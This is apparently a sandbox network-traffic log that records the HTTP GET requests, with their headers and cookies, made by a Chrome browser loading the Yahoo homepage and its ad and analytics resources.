Source: global traffic	HTTP traffic detected: GET /aaq/c/97a7f1a.caas-news_web.min.css HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-native-da-1.0.3-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-action-1.8.1-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ucreative.php?cv=1 HTTP/1.1Host: hb.yahoo.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Purpose: prefetchSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308310180275000V10
Source: global traffic	HTTP traffic detected: GET /ss/nes/player.js HTTP/1.1Host: hb.yahoo.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Purpose: prefetchSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308310180275000V10
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-template-1.4.3-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-menu-1.3.0-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas/content/article/?uuid=38e4b189-858a-3337-8105-11ad07095256,13c5b235-4dae-31a9-907f-135cdada812d,ce810da6-ac2a-33d8-9f13-869ced0eec5c&appid=news_web&device=desktop&lang=en-US&region=US&site=fp&partner=none&bucket=drop_heimdall_homepage_control_bucket,MimicProviderListv2-copy,seamless&features=enableEVPlayer,enableOverrideSpaceId,contentFeedbackEnabled,enableAdFeedbackV2,enableInArticleAd,enableOpinionLabel,enableSingleSlotting,enableVideoDocking,outStream,showCommentsIconWithDynamicCount,enableCommentsCountInViewCommentsCta,enableRRAdsSlots,enableRRAdsSlotsWithJAC,newsModal,enableViewCommentsCTA,enableXrayInline,enableXrayMovieEntities,enableXrayNcp,enableXrayPeopleEntities,enableXrayTopicEntities,showCommentsIconInShareSec,enableAdSlotsNewMap,enableGAMAds,enableGAMAdsOnLoad,enableFinancePremiumTicker,enableAdLiteUpSellFeedback&rid=0gast8pipu9uc HTTP/1.1Host: www.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
Source: global traffic	HTTP traffic detected: GET /tag/js/gpt.js HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/cprops/colors_1.1.27.min.css HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ups/58824/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://www.yahoo.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; IDSYNC=19cw~2g3z; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A
Source: global traffic	HTTP traffic detected: GET /aaq/fp/css/react-wafer-scores.ScoresRefresh.atomic.ltr.ed90d13ca69f2880bd2bff5d2879f31a.min.css HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/fp/js/react-wafer-stream.custom.modern.1ed4fe71b1fc647ddbf37a7050944309.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-autocomplete-1.31.8-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ss/nes/dfs?itype=YHB&type=1&cid=8YHBJ3BJ0&dn=www.yahoo.com&cc=US&ugd=desktop&callback=window.advBidxc.pf_rtd HTTP/1.1Host: hb.yahoo.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308310180275000V10
Source: global traffic	HTTP traffic detected: GET /tcb.js?&cb=window.advBidxc.multiBidTemplatefetch&v=1 HTTP/1.1Host: hb.yahoo.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308310180275000V10
Source: global traffic	HTTP traffic detected: GET /caas/content/article/?uuid=56cff8b5-f715-383b-bccf-0ae1c993368c,1315330a-fbeb-3a39-872e-a34c415ed2dc,7635f4d4-18ff-4443-86bc-3d28dfde6f60,8e419b22-4336-45cd-b717-dcbd8c920d50,4714ebb9-b723-32cc-972e-f333df6ab351,37846fc9-24c6-3e14-89b3-d0b87b71d5cb,f5b365a0-db09-39f8-8a63-b84ab4cb54c7,f0a98bd0-f332-3f2b-8af3-baaf55540e63,9e9e9cd9-64ca-3d4c-b68b-6ea37f24194a,1ad61db1-8b32-3197-bf5c-335ccd0ba90a&appid=news_web&device=desktop&lang=en-US&region=US&site=fp&partner=none&bucket=drop_heimdall_homepage_control_bucket,MimicProviderListv2-copy,seamless&features=enableEVPlayer,enableOverrideSpaceId,contentFeedbackEnabled,enableAdFeedbackV2,enableInArticleAd,enableOpinionLabel,enableSingleSlotting,enableVideoDocking,outStream,showCommentsIconWithDynamicCount,enableCommentsCountInViewCommentsCta,enableRRAdsSlots,enableRRAdsSlotsWithJAC,newsModal,enableViewCommentsCTA,enableXrayInline,enableXrayMovieEntities,enableXrayNcp,enableXrayPeopleEntities,enableXrayTopicEntities,showCommentsIconInShareSec,enableAdSlotsNewMap,enableGAMAds,enableGAMAdsOnLoad,enableFinancePremiumTicker,enableAdLiteUpSellFeedback&rid=0gast8pipu9uc HTTP/1.1Host: www.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-geolocation-1.3.0-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fp_ms/_rcv/remote?ctrl=ScoresRefresh&lang=en-US&m_id=react-wafer-scores&m_mode=json&region=US&rid=0gast8pipu9uc&site=fp&apptype=default&instance_id=scores&_evtSrc=deferLoad HTTP/1.1Host: www.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A
Source: global traffic	HTTP traffic detected: GET /ups/58784/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; IDSYNC=19cw~2g3z; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-loader-2.6.216-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /checksync.php?cid=8YHBJ3BJ0&cs=1&cv=37&hb=1&vsSync=1&prvid=25014%2C25082%2C25113%2C25307%2C25308%2C25309%2C25310&refUrl=&gdpr=0&gdprconsent=1&gdprstring=&usp_status=0&usp_consent=1&uspstring=1YNN&axid_e=&coppa=0&ckdel=0&gpp=DBAA&gpp_sid=-1 HTTP/1.1Host: hb.yahoo.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308310180275000V10
Source: global traffic	HTTP traffic detected: GET /ups/58831/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://www.yahoo.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; IDSYNC="19cw~2g3z:19e0~2g3z"; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B
Source: global traffic	HTTP traffic detected: GET /ups/58824/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; IDSYNC="19cw~2g3z:19e0~2g3z"; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-sticky-1.2.5-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/c/4820b7f.caas-news_web.min.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/fonts/2019/YahooSansCond-Medium.woff2 HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.yahoo.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/managed/js/gpt/m202401030101/pubads_impl.js HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/fp/css/react-wafer-nativeAd.NativeAd.atomic.ltr.5c39a9843807c1e9aee5ab138bd0ddd9.min.css HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/3vDJsuvj34ivMVnukopXNw--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/in_touch_weekly_336/3b052fdee39917ec92806ecae96b4a87.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
